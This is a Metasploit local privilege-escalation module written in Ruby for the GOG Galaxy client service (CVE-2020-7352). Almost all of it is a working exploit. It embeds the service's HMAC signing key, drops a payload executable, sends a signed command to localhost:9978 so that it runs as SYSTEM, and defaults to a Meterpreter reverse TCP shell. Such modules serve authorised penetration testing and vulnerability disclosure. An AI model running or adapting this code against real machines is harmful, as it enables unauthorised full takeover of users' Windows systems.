This Metasploit module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are also likely affected).
cdccccea0f5e4601df382d735f6b3d5a##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/services'
require 'openssl'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GOG GalaxyClientService Privilege Escalation',
'Description' => %q{
This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed
with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are
also likely affected).
},
'License' => MSF_LICENSE,
'Author' => [
'Joe Testa <jtesta[at]positronsecurity.com>'
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[
'Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },
'Type' => :dropper
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 28 2020',
'References' =>
[
['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],
['CVE', '2020-7352']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
}
)
)
register_options(
[
OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),
OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\'])
]
)
end
def check
log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log')
service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe')
return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path)
return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path)
log_data = read_file(log_path)
unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data
return CheckCode::Detected('Unable to determine version from log file')
end
return CheckCode::Detected('Galaxy Client version not found') unless ver_no
version = Gem::Version.new(ver_no)
return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13')
CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable")
end
def exploit
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter'
# The HMAC-SHA512 key for signing file_paths.
key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f"
key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb"
key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c"
key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4"
key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd"
key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d"
# Start the GalaxyClientService. It will automatically terminate after ~10
# seconds of inactivity, so we don't need to bother shutting it down later.
print_status('Starting GalaxyClientService...')
ret = service_start('GalaxyClientService')
if ret == 0
print_status('Service started successfully.')
elsif (ret == 1056) || (ret == 1)
print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.')
else
print_status("Service status unknown (return code: #{ret}). Continuing anyway...")
end
print_status('Connecting to service...')
# Create a TCP socket.
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
s = handler['return']
# Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).
# This only affects the recv(), not connect().
handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)
# Set the socket address structure to localhost:9978.
sock_addr = "\x02\x00"
sock_addr << [9978].pack('n')
sock_addr << Rex::Socket.addr_aton('127.0.0.1')
sock_addr << "\x00" * 8
# Connect to the service. Retry up to 3 times, waiting 2 seconds in
# between.
connected = false
retries = 0
while (retries < 3) && (connected == false)
retries += 1
handler = client.railgun.ws2_32.connect(s, sock_addr, 16)
if handler['GetLastError'] == 0
connected = true
else
print_warning('Connection failed. Waiting 2 seconds and trying again...')
Rex.sleep(2)
end
end
fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected
data = build_payload(key)
print_status('Connected to service. Sending payload...')
# Here, we are calling client.railgun.ws2_32.send(). However, there's a bug
# somewhere in the railgun system such that send() is never called. It
# seems that some mystery code is intercepting send() instead of letting it
# get to LibraryWrapper.method_missing() (perhaps 'send' is a special case
# somewhere? The other ws2_32 functions work just fine...). To work around
# this problem, we will simply call it directly with call_function().
send_func = client.railgun.ws2_32.functions['send']
client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client)
# Read the server's response. On error, it returns nothing.
response = "\x00" * 512
handler = client.railgun.ws2_32.recv(s, response, response.length, 0)
# Convert the unsigned return value to a signed value.
ret = [handler['return'].to_i].pack('l').unpack1('l')
if ret <= 0
print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(")
else
print_good('Command executed successfully!')
end
client.railgun.ws2_32.closesocket(s)
end
def build_payload(key)
working_dir = datastore['WORKING_DIR']
header1 = "\x00\x93\x08\x04\x10\x01\x18"
header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01"
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe"
file_path = expand_path("#{datastore['PATH']}\\#{payload_name}")
payload_data = generate_payload_exe
print_status("Writing #{file_path} to target")
write_file(file_path, payload_data)
register_file_for_cleanup(file_path)
gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12"
gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01"
payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd)
header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd
end
end